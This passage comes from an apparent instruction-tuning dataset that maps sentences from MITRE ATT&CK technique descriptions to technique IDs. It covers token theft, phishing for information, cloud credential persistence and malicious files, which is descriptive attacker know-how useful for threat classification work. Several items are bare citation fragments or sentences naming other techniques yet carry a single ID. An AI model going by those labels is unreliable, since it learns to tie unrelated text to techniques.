the MITRE techniques contained in the text.", "input": "The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019)", "output": "T1528", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) ### Response: T1528."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Then, they can send a [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) to the target user to entice them to grant access to the application.", "output": "T1528", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Then, they can send a [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) to the target user to entice them to grant access to the application. ### Response: T1528."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)", "output": "T1528", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019) ### Response: T1528."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Application access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token.", "output": "T1528", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Application access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. ### Response: T1528."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, in some cases, adversaries can also steal application refresh tokens(Citation: Auth0 Understanding Refresh Tokens), allowing them to obtain new access tokens without prompting the user.", "output": "T1528", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, in some cases, adversaries can also steal application refresh tokens(Citation: Auth0 Understanding Refresh Tokens), allowing them to obtain new access tokens without prompting the user. ### Response: T1528."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may send phishing messages to elicit sensitive information that can be used during targeting.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "All forms of phishing are electronically delivered social engineering.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: All forms of phishing are electronically delivered social engineering. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Phishing can be targeted, known as spearphishing.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Phishing can be targeted, known as spearphishing. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In spearphishing, a specific individual, company, or industry will be targeted by the adversary.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In spearphishing, a specific individual, company, or industry will be targeted by the adversary. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation:", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation:", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sophos Attachment)(Citation: GitHub Phishery) Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information.(Citation: Avertium callback phishing)\n\nPhishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sophos Attachment)(Citation: GitHub Phishery) Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information.(Citation: Avertium callback phishing)\n\nPhishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce) \n\nPhishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation:", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce) \n\nPhishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Palo Alto Unit 42 VBA Infostealer 2014)", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Palo Alto Unit 42 VBA Infostealer 2014) ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting.", "output": "T1598.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. ### Response: T1598.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information.", "output": "T1598.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. ### Response: T1598.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.", "output": "T1598.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. ### Response: T1598.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry.", "output": "T1598.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. ### Response: T1598.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In this scenario, adversaries attach a file to the spearphishing email and usually rely upon the recipient populating information then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery)", "output": "T1598.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In this scenario, adversaries attach a file to the spearphishing email and usually rely upon the recipient populating information then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery) ### Response: T1598.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate.", "output": "T1598.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. ### Response: T1598.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.", "output": "T1598.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures. ### Response: T1598.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may manipulate accounts to maintain and/or elevate access to victim systems.", "output": "T1098", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. ### Response: T1098."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups.", "output": "T1098", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups. ### Response: T1098."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials.", "output": "T1098", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. ### Response: T1098."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.", "output": "T1098", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. ### Response: T1098."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078).", "output": "T1098", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078). ### Response: T1098."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.", "output": "T1098.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment. ### Response: T1098.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation:", "output": "T1098.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation: ### Response: T1098.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video)", "output": "T1098.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) ### Response: T1098.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation:", "output": "T1098.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: ### Response: T1098.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Demystifying Azure AD Service Principals)", "output": "T1098.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Demystifying Azure AD Service Principals) ### Response: T1098.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the <code>CreateKeyPair</code> or <code>ImportKeyPair</code> API in AWS or the <code>gcloud compute os-login ssh-keys add</code> command in GCP.(Citation: GCP SSH Key Add)", "output": "T1098.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the <code>CreateKeyPair</code> or <code>ImportKeyPair</code> API in AWS or the <code>gcloud compute os-login ssh-keys add</code> command in GCP.(Citation: GCP SSH Key Add) ### Response: T1098.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation:", "output": "T1098.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: ### Response: T1098.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Expel IO Evil in AWS)(Citation:", "output": "T1098.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Expel IO Evil in AWS)(Citation: ### Response: T1098.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Expel Behind the Scenes)", "output": "T1098.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Expel Behind the Scenes) ### Response: T1098.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use the <code>CreateAccessKey</code> API in AWS or the <code>gcloud iam service-accounts keys create</code> command in GCP to add access keys to an account.", "output": "T1098.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use the <code>CreateAccessKey</code> API in AWS or the <code>gcloud iam service-accounts keys create</code> command in GCP to add access keys to an account. ### Response: T1098.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0)", "output": "T1098.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) ### Response: T1098.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, in Azure AD environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal.", "output": "T1098.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, in Azure AD environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. ### Response: T1098.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In doing so the adversary would be able to access the service principal\u2019s roles and permissions, which may be different from those of the Application Administrator.(Citation:", "output": "T1098.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In doing so the adversary would be able to access the service principal\u2019s roles and permissions, which may be different from those of the Application Administrator.(Citation: ### Response: T1098.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SpecterOps Azure Privilege Escalation)", "output": "T1098.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SpecterOps Azure Privilege Escalation) ### Response: T1098.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials tied to the permissions of the original user account.", "output": "T1098.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials tied to the permissions of the original user account. ### Response: T1098.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These credentials may remain valid for the duration of their lifetime even if the original account\u2019s API credentials are deactivated.", "output": "T1098.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These credentials may remain valid for the duration of their lifetime even if the original account\u2019s API credentials are deactivated. ### Response: T1098.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Crowdstrike AWS User Federation Persistence)", "output": "T1098.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Crowdstrike AWS User Federation Persistence) ### Response: T1098.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may rely upon a user opening a malicious file in order to gain execution.", "output": "T1204.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may rely upon a user opening a malicious file in order to gain execution. ### Response: T1204.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Users may be subjected to social engineering to get them to open a file that will lead to code execution.", "output": "T1204.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Users may be subjected to social engineering to get them to open a file that will lead to code execution. ### Response: T1204.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).", "output": "T1204.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). ### Response: T1204.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.", "output": "T1204.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl. ### Response: T1204.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file.", "output": "T1204.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. ### Response: T1204.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs)", "output": "T1204.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs) ### Response: T1204.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "While [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it.", "output": "T1204.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: While [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. ### Response: T1204.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).", "output": "T1204.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534). ### Response: T1204.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may rely on a user running a malicious image to facilitate execution.", "output": "T1204.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may rely on a user running a malicious image to facilitate execution. ### Response: T1204.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Amazon Web Services (AWS)", "output": "T1204.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Amazon Web Services (AWS) ### Response: T1204.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored.", "output": "T1204.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. ### Response: T1204.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access.", "output": "T1204.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. ### Response: T1204.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs)", "output": "T1204.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs) ### Response: T1204.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: Aqua Security Cloud Native Threat Report June 2021)", "output": "T1204.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: Aqua Security Cloud Native Threat Report June 2021) ### Response: T1204.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may rely upon a user clicking a malicious link in order to gain execution.", "output": "T1204.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may rely upon a user clicking a malicious link in order to gain execution. ### Response: T1204.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Users may be subjected to social engineering to get them to click on a link that will lead to code execution.", "output": "T1204.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Users may be subjected to social engineering to get them to click on a link that will lead to code execution. ### Response: T1204.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This user action will typically be observed as follow-on behavior from [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002).", "output": "T1204.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This user action will typically be observed as follow-on behavior from [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). ### Response: T1204.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).", "output": "T1204.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). ### Response: T1204.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Links may also lead users to download files that require execution via [Malicious File](https://attack.mitre.org/techniques/T1204/002).", "output": "T1204.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Links may also lead users to download files that require execution via [Malicious 